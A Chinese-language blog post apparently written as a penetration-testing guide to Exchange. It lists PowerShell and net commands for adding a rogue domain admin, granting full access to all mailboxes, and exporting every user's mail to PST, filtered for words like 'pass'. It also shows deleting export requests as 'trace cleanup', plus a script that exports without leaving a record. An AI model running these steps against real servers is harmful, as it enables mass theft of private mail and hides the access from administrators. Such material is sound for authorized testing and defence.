文章目录

  • 相关命令
    • 赋予一个用户查看其他用户邮件的权力
    • 提升 'scarlet' 用户为域管权限 and 加入 Organization Management 组
    • 获取所有用户的邮件地址并导出到all-email.csv
    • 查看导出状态
    • 查看exchange给用户分的组
    • 查看IT Security组的详细信息
    • 获取组中的成员信息
    • 获取admin用户的邮箱细节信息
    • 远程连接powershell来管理exchange
    • 查看组织内已创建的管理角色
    • 给administrator添加邮件的导入导出权限
    • 创建共享文件夹
    • 邮件的导出
    • 痕迹清理
  • 远程连接exchange并导出邮件
  • 在exchange服务器上直接导出
  • powershell实现
  • 查看pst文件数据
  • 补充
    • 命令行下添加管理员用户
    • exchange搭建
  • 参考文章

相关命令

#不同Exchange版本对应的管理单元名称不同:
Exchange 2007: Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;
Exchange 2010: Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;
Exchange 2013 & 2016: Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;

赋予一个用户查看其他用户邮件的权力

# 查看所有邮箱的权力
Get-Mailbox -ResultSize unlimited -Filter {(RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'Admin')} | Add-MailboxPermission -User AdministratorAccount@contoso.com -AccessRights fullaccess -InheritanceType all# 赋予用户a查看用户b邮箱的权力
Add-MailboxPermission -Identity ayla@contoso.com -User Ed@contoso.com -AccessRights fullaccess -InheritanceType all

提升 ‘scarlet’ 用户为域管权限 and 加入 Organization Management 组

net user scarlet 123456 /add
net group "domain admins" scarlet /add
net group "Organization Management" scarlet /add

获取所有用户的邮件地址并导出到all-email.csv

Get-Mailbox -ResultSize Unlimited |select displayname,PrimarySmtpAddress |Export-Csv -Encoding utf8 c:\temp\all-email.csv -NoTypeInformation

查看导出状态

Get-MailboxExportRequest

查看exchange给用户分的组

Get-DistributionGroup

查看IT Security组的详细信息

Get-DistributionGroup "IT Security" | fl

获取组中的成员信息

Get-DistributionGroupMember -Identity "IT Security"

获取admin用户的邮箱细节信息

get-mailboxstatistics -identity admin | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime

远程连接powershell来管理exchange

$User = "test\administrator"
$Pass = ConvertTo-SecureString -AsPlainText DomainAdmin123! -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://Exchange01.test.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobberGet-PSSessionGet-Mailbox

查看组织内已创建的管理角色

Get-ManagementRole
Get-ManagementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName

给administrator添加邮件的导入导出权限

结束后需要重启EMS

#新建一个 Exchange 角色组并将其添加到 Mailbox Import Export 管理角色中
New-RoleGroup -Name "Enterprise Mail Support" -Roles "Mailbox Import Export" -Members administrator -Description "Import Export_Enterprise Support"
#给一个已经存在的名为Import Export_Domain Admins的组添加用户
New-ManagementRoleAssignment -Name "Import Export_Domain Admins"  -User "Administrator" -Role "Mailbox Import Export"

创建共享文件夹

mkdir c:\temp\PST
net share test$=c:\temp\PST /GRANT:Everyone,FULL

邮件的导出

#将user1收件箱的所有邮件导出

Inbox(收件箱)、SentItems(已发送邮件)、DeletedItems(已删除邮件)、Drafts(草稿)
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
New-MailboxExportRequest -Mailbox user1 -IncludeFolders "#Inbox#" -FilePath "\\hostname\test$\test.pst"

#导出用户 Tony 在 2012 年 1 月 1 日之后收到的邮件正文中包含“company”和“profit”的邮件。

New-MailboxExportRequest -Mailbox Tony `-ContentFilter {(body -like "*company*") `-and (body -like "*profit*") `-and (Received -gt "01/01/2012")} `-FilePath "\\hostname\test$\test.pst"

#导出all-email.csv中所有用户的邮件

$mail = import-csv -path "all-email.csv"
foreach ($user in $mail){
$Alias = $user.displayname
New-MailboxExportRequest -Mailbox $Alias -FilePath "\\hostname\test$\test.pst"
}

痕迹清理

Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Confirm:$false

远程连接exchange并导出邮件

#远程连接
$User = "test\administrator"
$Pass = ConvertTo-SecureString -AsPlainText DomainAdmin123! -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://Exchange01.test.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobberGet-PSSessionGet-MailboxAdd-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;#将用户administrator添加到导入导出邮件角色组
New-ManagementRoleAssignment –Role "Mailbox Import Export" –User test\administrator#添加完成后进行确认
Get-ManagementRoleAssignment –Role "Mailbox Import Export"|fl user# 导出邮件

在exchange服务器上直接导出

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
$User = "test1"
New-MailboxexportRequest -mailbox $User -FilePath ("\\localhost\c$\test\"+$User+".pst")

powershell实现

需要知道高权限用户的凭据或者自己创建一个用户加入Organization Management组。

DirectExportMailfromExchange -MailBox "test1" -ExportPath "\\localhost\c$\test\" -Filter "{`"(body -like `"*pass*`")`"}" -Version 2013
function DirectExportMailfromExchange
{#Requires -Version 2.0
<#
.SYNOPSIS
This script will export the mail(.pst) from the Exchange server.
The script needs to be executed on the Exchange server.Author: 3gstudent.PARAMETER MailBox
The mail you want to export..PARAMETER ExportPath
The export path of the mail..PARAMETER $Filter
The search filter of the mail..PARAMETER $Version
The version of the Exhange.
It can be 2007,2010,2013 and 2016..EXAMPLE
PS C:\> DirectExportMailfromExchange -MailBox "test1" -ExportPath "\\localhost\c$\test\" -Filter "{`"(body -like `"*pass*`")`"}" -Version 2013
#>param ([Parameter(Mandatory = $True)][string]$MailBox,[Parameter(Mandatory = $True)][string]$ExportPath,[Parameter(Mandatory = $True)][string]$Filter,[Parameter(Mandatory = $True)][string]$Version)Write-Host "[>] Start to add PSSnapin" if ($Version -eq 2007){Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;}elseif ($Version -eq 2010){Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;}else{Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;}Write-Host "[+] Start to export mail" #Export mail and do not save the export requestNew-MailboxexportRequest -mailbox $MailBox -ContentFilter {(body -like "*pass*")} -FilePath ($ExportPath+$MailBox+".pst") -CompletedRequestAgeLimit 0Write-Host "[+] All done."
}

查看pst文件数据

打开和关闭pst文件

也可以使用这个工具:pst viewer

补充

命令行下添加管理员用户

powershell -c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;$pwd=convertto-securestring Password123 -asplaintext -force;New-Mailbox -UserPrincipalName testuser1@test.com -OrganizationalUnit test.com/Users -Alias testuser1 -Name testuser1 -DisplayName testuser1 -Password $pwd;Add-RoleGroupMember \"Organization Management\" -Member testuser1 -BypassSecurityGroupManagerCheck"

exchange搭建

  1. 升级升级为域控制器
  2. 添加iis、dns、AD服务
  3. 加域
  4. 登录到exchange的用户需要时domain admin、enterprise admin、schema admin组的人
  5. 进入exchange的iso,打开cmd执行setup /IAcceptExchangeServerLicenseTerms_DiagnosticDataOFF /prepareschema
  6. 点击setup.exe安装
  7. 为用户创建邮箱,可以在exchange server上用web端进行添加,也可以使用命令行添加,命令为:
#为张三添加邮箱
Enable-Mailbox -Identity zhangsan@test.com -Database UsersMailboxDatabase
#为所有用户添加邮箱
Get-User -RecipientTypeDetails User -Filter "UserPrincipalName -ne `$null" -ResultSize unlimited | Enable-Mailbox
#创建一个新用户的邮箱
New-Mailbox -Name "Pilar Pinilla" -UserPrincipalName pilarp@contoso.com -Password (ConvertTo-SecureString -String 'Pa$$word1' -AsPlainText -Force) -FirstName Pilar -LastName Pinilla

参考文章

【技术分享】域渗透之Exchange Server
[域渗透]Exchange邮件导出
渗透基础——从Exchange服务器上搜索和导出邮件
在邮箱中添加用户

Exchange邮件pst数据的导出与查看相关推荐

  1. linux中mongo的导出数据,Linux下mongodb安装及数据导入导出教程(示例代码)

    Linux下mongodb安装及数据导入导出教程 #查看linux发行版本 cat /etc/issue #查看linux内核版本号 uname -r 一.Linux下mongodb安装的一般步骤 1 ...

  2. Linux下mongodb安装及数据导入导出教程

    Linux下mongodb安装及数据导入导出教程 #查看linux发行版本 cat /etc/issue #查看linux内核版本号 uname -r 一.Linux下mongodb安装的一般步骤 1 ...

  3. 渗透基础——从Exchange服务器上搜索和导出邮件

    0x00 前言 在渗透测试中,如果我们获得了Exchange服务器的管理权限,下一步就需要对Exchange服务器的邮件进行搜索和导出,本文将要介绍常用的两种方法,开源4个powershell脚本,分 ...

  4. Exchange邮件系统日志查看及管理

    https://blog.51cto.com/horse87/1617957 我们在企业日产工作中,Exchange邮件是大家使用频率很高的应用,在日常的使用中,经常会由于操作的失误或者其他原因,导致 ...

  5. 怎么修改Outlook2010 PST数据文件位置(默认邮件存储目录)

    Outlook2010是个很强大的软件.可是在配置IMAP邮箱账户的时候默认会将邮箱数据文件放到C盘的用户目录下.我们为了数据的安全,一般会将数据文件迁移到其他地方. 我在前几天转载过一篇博文使用剪切 ...

  6. 搭建exchange邮件服务器一定要ad域么?_邮件伪造之SPF绕过的5种思路

    SMTP(SimpleMail Transfer Protocol) 即简单邮件传输协议,正如名字所暗示的那样,它其实是一个非常简单的传输协议,无需身份认证,而且发件人的邮箱地址是可以由发信方任意声明 ...

  7. exchange系列(四)如何保护exchange邮件服务器的安全

    博主QQ:819594300 博客地址:http://zpf666.blog.51cto.com/ 有什么疑问的朋友可以联系博主,博主会帮你们解答,谢谢支持 理论部分: 邮件病毒的危害 窃取邮件内容 ...

  8. Exchange邮件跟踪日志不得不了解的知识

    https://blog.51cto.com/jialt/1812622 在进行Exchange邮件投递分析时,我们经常会使用Get-MessageTrackingLog查看邮件传输的过程,以此来分析 ...

  9. Outlook如何修复.pst数据文件?

    Microsoft Office Outlook是微软办公软件套装的组件之一,Outlook的功能很多,可以用它来收发电子邮件.管理联系人信息.分配任务等. 同时,它也是目前公司和个人普遍使用的收发邮 ...

最新文章

  1. 表弟高考650多,程序员不建议学计算机,亲戚:你不希望别人好
  2. 使用fswatch工具进行golang的热编译
  3. nojy 105 九的余数
  4. fenby C语言 P20
  5. 趣学算法之哥德巴赫猜想的实现
  6. 【渝粤题库】陕西师范大学202321投资银行学 作业(专升本)
  7. c语言简单编程题模板,C语言编程题,比较简单
  8. 九龙擒庄指标源码破译_擒庄系列:庄家难逃该指标,散户屡试不爽的秘籍!(附公式)...
  9. PowerDesigner生成数据库表
  10. 数据结构PTA 案例6-1.3 哥尼斯堡的“七桥问题”
  11. linux上挂载iso文件,如何在Linux上挂载ISO文件
  12. windows xp快捷键
  13. 富途量化交易接口使用什么语言编程?
  14. 21-Chrome开发者工具:利用网络面板做性能分析
  15. visualDL(一)scalar标量图
  16. 计算机游戏动漫制作自我鉴定,动画制作专业毕业生的自我鉴定
  17. 白化病最新研究进展(2021年9月)
  18. 卡巴斯基KAV/KIS 6.0/7.0 授权许可文件永久免费更新方法
  19. 剑指offer T14 减绳子
  20. 【编译原理】实验四:Yacc 分析程序生成器

热门文章

  1. bat(批处理文件)教程
  2. php读书心得体会,《做最好的自己》读书心得体会 3篇
  3. Android群英传学习——第九章、Android系统信息与安全机制
  4. Unity 工具 之 图集根据切割为一张张单张图片的简单封装(Unity 自带 SpritePackage 打包图集的性能优化)
  5. c语言两数相除等于小数多少,c语言程序两数相除精确到小数点后k位
  6. Termux安装最强中间人工具Bettercap
  7. 双11阿里不再傲慢,关注增长质量,补贴国货品牌和农产品,意欲何为?
  8. BSCI验厂和SEDEX验厂的相同和不同处
  9. 好用的三维绘图软件CREO学习镜像和构造模式
  10. onenote离线无法同步解决办法